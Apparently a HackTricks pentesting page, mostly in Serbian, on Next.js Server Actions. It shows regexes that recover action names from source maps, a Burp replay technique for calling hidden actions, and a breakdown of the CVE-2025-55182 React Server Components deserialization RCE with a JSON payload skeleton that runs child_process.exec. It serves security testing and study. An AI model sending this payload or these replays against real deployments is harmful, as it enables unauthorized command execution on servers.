Next.js Server Actions Enumeracija (hash u ime funkcije pomoću source maps)
Modern Next.js koristi “Server Actions” koje se izvršavaju na serveru, ali se pozivaju sa klijenta. U produkciji su ti pozivi neprozirni: svi POSTs idu na zajednički endpoint i razlikuju se po hash-u specifičnom za build koji se šalje u Next-Action header. Primer:
POST /
Next-Action: a9f8e2b4c7d1...
Kada je omogućeno productionBrowserSourceMaps, minified JS chunks sadrže pozive createServerReference(...) koji leak-uju dovoljno strukture (plus associated source maps) da se može rekonstruisati mapiranje između action heša i originalnog imena funkcije. Ovo vam omogućava da prevedete heševe primećene u Next-Action u konkretne mete kao što su deleteUserAccount() ili exportFinancialData().
Pristup ekstrakciji (regex on minified JS + optional source maps)
Pretražite preuzete JS chunks za createServerReference i izvucite heš i simbol funkcije/izvora. Dva korisna obrasca:
# Strict pattern for standard minification
createServerReference\)"([a-f0-9]{40,})",\w+\.callServer,void 0,\w+\.findSourceMapURL,"([^"]+)"\)
# Flexible pattern handling various minification styles
createServerReference[^\"]*"([a-f0-9]{40,})"[^\"]*"([^"]+)"\s*\)
- Grupa 1: server action hash (40+ hex chars)
- Grupa 2: symbol or path that can be resolved to the original function via the source map when present
If the script advertises a source map (trailer comment //# sourceMappingURL=<...>.map), fetch it and resolve the symbol/path to the original function name.
Praktični tok rada
- Passive discovery while browsing: capture requests with
Next-Actionheaders and JS chunk URLs. - Fetch the referenced JS bundles and accompanying
*.mapfiles (when present). - Run the regex above to build a hash↔name dictionary.
- Use the dictionary to target testing:
- Name-driven triage (e.g.,
transferFunds,exportFinancialData). - Track coverage across builds by function name (hashes rotate across builds).
- Name-driven triage (e.g.,
Vežbanje skrivenih akcija (template-based request)
Uzmite validan POST primećen in-proxy kao šablon i zamenite Next-Action vrednost da ciljate drugu otkrivenu akciju:
# Before
Next-Action: a9f8e2b4c7d1
# After
Next-Action: b7e3f9a2d8c5
Reproduce in Repeater and test authorization, input validation and business logic of otherwise unreachable actions.
Burp automation
- NextjsServerActionAnalyzer (Burp extension) automatizuje gore navedeno u Burp-u:
- Pretražuje proxy istoriju za JS chunk-ove, ekstrahuje
createServerReference(...)unose i parsira source map-ove kada su dostupni. - Održava pretražljivu hash↔function-name rečnik i uklanja duplikate između build-ova po imenu funkcije.
- Može locirati validan template POST i otvoriti spreman Repeater tab za slanje sa hash-om ciljne akcije zamenjenim.
- Repo: https://github.com/Adversis/NextjsServerActionAnalyzer
Notes and limitations
- Zahteva
productionBrowserSourceMapsuključen u production okruženju da bi se povratila imena iz bundle-ova/source map-ova. - Otkrivanje imena funkcije samo po sebi nije ranjivost; koristite ga za usmeravanje otkrivanja i testiranje autorizacije svake akcije.
React Server Components Flight protocol deserialization RCE (CVE-2025-55182)
Next.js App Router deploymenti koji izlažu Server Actions na react-server-dom-webpack 19.0.0–19.2.0 (Next.js 15.x/16.x) sadrže kritičnu server-side prototype pollution tokom deserializacije Flight chunk-ova. Kroz kreiranje $ referenci unutar Flight payload-a, napadač može od zagađenih prototipova preći na proizvoljno izvršavanje JavaScript-a, a potom i izvršavanje OS komandi unutar Node.js procesa.
NodeJS - proto & prototype Pollution
Attack chain in Flight chunks
- Prototype pollution primitive: Set
"then": "$1:__proto__:then"so that the resolver writes athenfunction onObject.prototype. Any plain object processed afterwards becomes a thenable, letting the attacker influence async control flow inside RSC internals. - Rebinding to the global
Functionconstructor: Point_response._formData.getat"$1:constructor:constructor". During resolution,object.constructor→Object, andObject.constructor→Function, so future calls to_formData.get()actually executeFunction(...). - Code execution via
_prefix: Place JavaScript source in_response._prefix. When the polluted_formData.getis invoked, the framework evaluatesFunction(_prefix)(...), so the injected JS can runrequire('child_process').exec()or any other Node primitive.
Payload skeleton
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "require('child_process').exec('id')",
"_chunks": "$Q2",
"_formData": { "get": "$1:constructor:constructor" }
}
}
Reference
- Pentesting Next.js Server Actions — Burp ekstenzija za mapiranje hash->funkcija
- NextjsServerActionAnalyzer (Burp ekstenzija)
- CVE-2025-55182 React Server Components Remote Code Execution Exploit Tool
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
HackTricks

